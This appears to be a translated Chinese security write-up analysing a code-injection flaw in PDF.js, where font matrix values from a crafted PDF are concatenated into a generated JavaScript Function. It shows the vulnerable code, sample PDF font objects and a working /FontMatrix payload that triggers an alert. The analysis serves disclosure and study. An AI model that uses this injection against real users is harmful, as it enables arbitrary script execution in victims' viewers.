闽公网安备 35020302035485号

// 如果可以,将 cmds 编译为 JavaScript 以实现最大速度...
if (this.isEvalSupported && FeatureTest.isEvalSupported) {
// 创建一个空数组 jsBuf 用于存储要生成的 JavaScript 代码片段
const jsBuf = [];
// 堆代码 duidaima.com
// 遍历 cmds 数组中的每个元素
for (const current of cmds) {
// 如果当前元素有 args 属性且不为 undefined,将其转换为字符串并以逗号连接
const args = current.args!== undefined? current.args.join(",") : "";
// 将特定格式的代码片段添加到 jsBuf 数组中
jsBuf.push("c.", current.cmd, "(", args, ");\n");
}
// 打印 jsBuf 数组元素连接后的字符串
console.log(jsBuf.join(""));
// 返回一个新的 Function 对象,该对象接受 "c" 和 "size" 作为参数,并执行 jsBuf 中连接的代码
return (this.compiledGlyphs[character] = new Function(
"c",
"size",
jsBuf.join("")
));
}
从攻击者的角度来看,这非常有趣:如果我们能够以某种方式控制进入 Function 对象主体的这些 cmds 并插入我们自己的代码,那么一旦渲染这样的字形,它就会被执行。好吧,让我们看看这个命令列表是如何生成的。回溯到 CompiledFont 类的逻辑,我们找到了 compileGlyph(...) 方法。这个方法用几个通用命令(保存、变换、缩放和恢复)初始化了 cmds 数组,并委托给 compileGlyphImpl(...) 方法来填充实际的渲染命令:// 定义 compileGlyph 方法,接受 code 和 glyphId 作为参数
compileGlyph(code, glyphId) {
// 如果 code 为空、长度为 0 或者 code 的第一个元素为 14,返回 NOOP
if (!code || code.length === 0 || code[0] === 14) {
return NOOP;
}
// 定义 fontMatrix 并初始化为当前对象的 fontMatrix 属性
let fontMatrix = this.fontMatrix;
//...
// 定义一个包含命令对象的 cmds 数组
const cmds = [
{ cmd: "save" }, // 保存命令
{ cmd: "transform", args: fontMatrix.slice() }, // 变换命令,参数为 fontMatrix 的切片副本
{ cmd: "scale", args: ["size", "-size"] }, // 缩放命令,参数为 "size" 和 "-size"
];
// 调用 compileGlyphImpl 方法,并传入 code、cmds 和 glyphId
this.compileGlyphImpl(code, cmds, glyphId);
// 向 cmds 数组添加一个恢复命令
cmds.push({ cmd: "restore" });
// 返回 cmds 数组
return cmds;
}
如果我们对 PDF.js 代码进行检测以记录生成的 Function 对象,我们会发现生成的代码确实包含那些命令:c.save(); c.transform(0.001,0,0,0.001,0,0); c.scale(size,-size); c.moveTo(0,0); c.restore();在这一点上,我们可以审查字体解析代码以及由字形生成的各种命令和参数,比如 quadraticCurveTo 和 bezierCurveTo,但所有这些看起来都相当正常,除了数字之外无法控制任何东西。然而,结果证明更有趣的是我们上面看到的变换命令:
{ cmd: "transform", args: fontMatrix.slice() },
这个 fontMatrix 数组会被复制(通过 .slice() 方法)并插入到 Function 对象的主体中,用逗号连接。代码显然假定它是一个数字数组,但情况总是这样吗?这个数组中的任何字符串都会被直接插入,周围没有任何引号。因此,这在最好的情况下会破坏 JavaScript 语法,在最坏的情况下会导致任意代码执行。但是我们真的能在那种程度上控制 fontMatrix 的内容吗?/**
* 提取字体头部信息的函数
* @param {Object} properties - 包含相关属性的对象
*/
extractFontHeader(properties) {
// 定义一个变量用于存储获取的令牌
let token;
// 当获取的令牌不为空时,进行循环
while ((token = this.getToken())!== null) {
// 如果令牌不是'/',则继续下一次循环
if (token!== "/") {
continue;
}
// 再次获取令牌
token = this.getToken();
// 根据令牌的值进行不同的处理
switch (token) {
// 如果令牌是'FontMatrix'
case "FontMatrix":
// 读取数字数组并将其赋值给变量matrix
const matrix = this.readNumberArray();
// 将matrix赋值给properties对象的fontMatrix属性
properties.fontMatrix = matrix;
break;
// 省略其他情况的处理
...
}
// 省略其他处理
...
}
// 省略其他处理
...
}
尽管从技术上讲,Type1 字体在其头部包含任意的 Postscript 代码,但没有一个正常的 PDF 阅读器能完全支持这一点,大多数只是尝试读取具有预期类型的预定义键值对。在这种情况下,当 PDF.js 遇到 FontMatrix 键时,它只是读取一个数字数组。似乎用于其他几种字体格式的 CFF 解析器在这方面也是类似的。总的来说,看起来我们确实被限制在数字上。 const properties = {
type,
name: fontName.name,
subtype,
file: fontFile,
...
fontMatrix: dict.getArray("FontMatrix") || FONT_IDENTITY_MATRIX,
...
bbox: descriptor.getArray("FontBBox") || dict.getArray("FontBBox"),
ascent: descriptor.get("Ascent"),
descent: descriptor.get("Descent"),
xHeight: descriptor.get("XHeight") || 0,
capHeight: descriptor.get("CapHeight") || 0,
flags: descriptor.get("Flags"),
italicAngle: descriptor.get("ItalicAngle") || 0,
...
};
在 PDF 格式中,字体定义由几个对象组成。字体、它的字体描述符以及实际的字体文件。例如,这里由对象 1、2 和 3 表示:1 0 obj << /Type /Font /Subtype /Type1 /FontDescriptor 2 0 R /BaseFont /FooBarFont >> endobj 2 0 obj << /Type /FontDescriptor /FontName /FooBarFont /FontFile 3 0 R /ItalicAngle 0 /Flags 4 >> endobj 3 0 obj << /Length 100 >> ... (actual binary font data) ... endobj上面代码所引用的字典指的是字体对象。因此,我们应该能够像这样定义一个自定义的 FontMatrix 数组:
1 0 obj << /Type /Font /Subtype /Type1 /FontDescriptor 2 0 R /BaseFont /FooBarFont /FontMatrix [1 2 3 4 5 6] % <----- >> endobj当尝试这样做时,起初看起来这不起作用,因为生成的 Function 主体中的变换操作仍然使用默认矩阵。然而,这是因为字体文件本身正在覆盖该值。幸运的是,当使用没有内部 FontMatrix 定义的 Type1 字体时,PDF 中指定的值会优先考虑,因为 fontMatrix 值不会被覆盖。
/FontMatrix [1 2 3 4 5 (foobar)]成功了!它被简单地插入到 Function 体中!
c.save(); c.transform(1,2,3,4,5,foobar); c.scale(size,-size); c.moveTo(0,0); c.restore();插入任意的 JavaScript 代码现在只是正确处理语法的问题。下面是一个经典的示例,通过首先结束 c.transform(...) 函数,并利用后面的括号来触发一个 alert:
/FontMatrix [1 2 3 4 5 (0\); alert\('foobar')]
结果完全符合预期:
v0.8.1181(2014 年 4 月 10 日发布):受影响(PDF.js 的首次公开发布)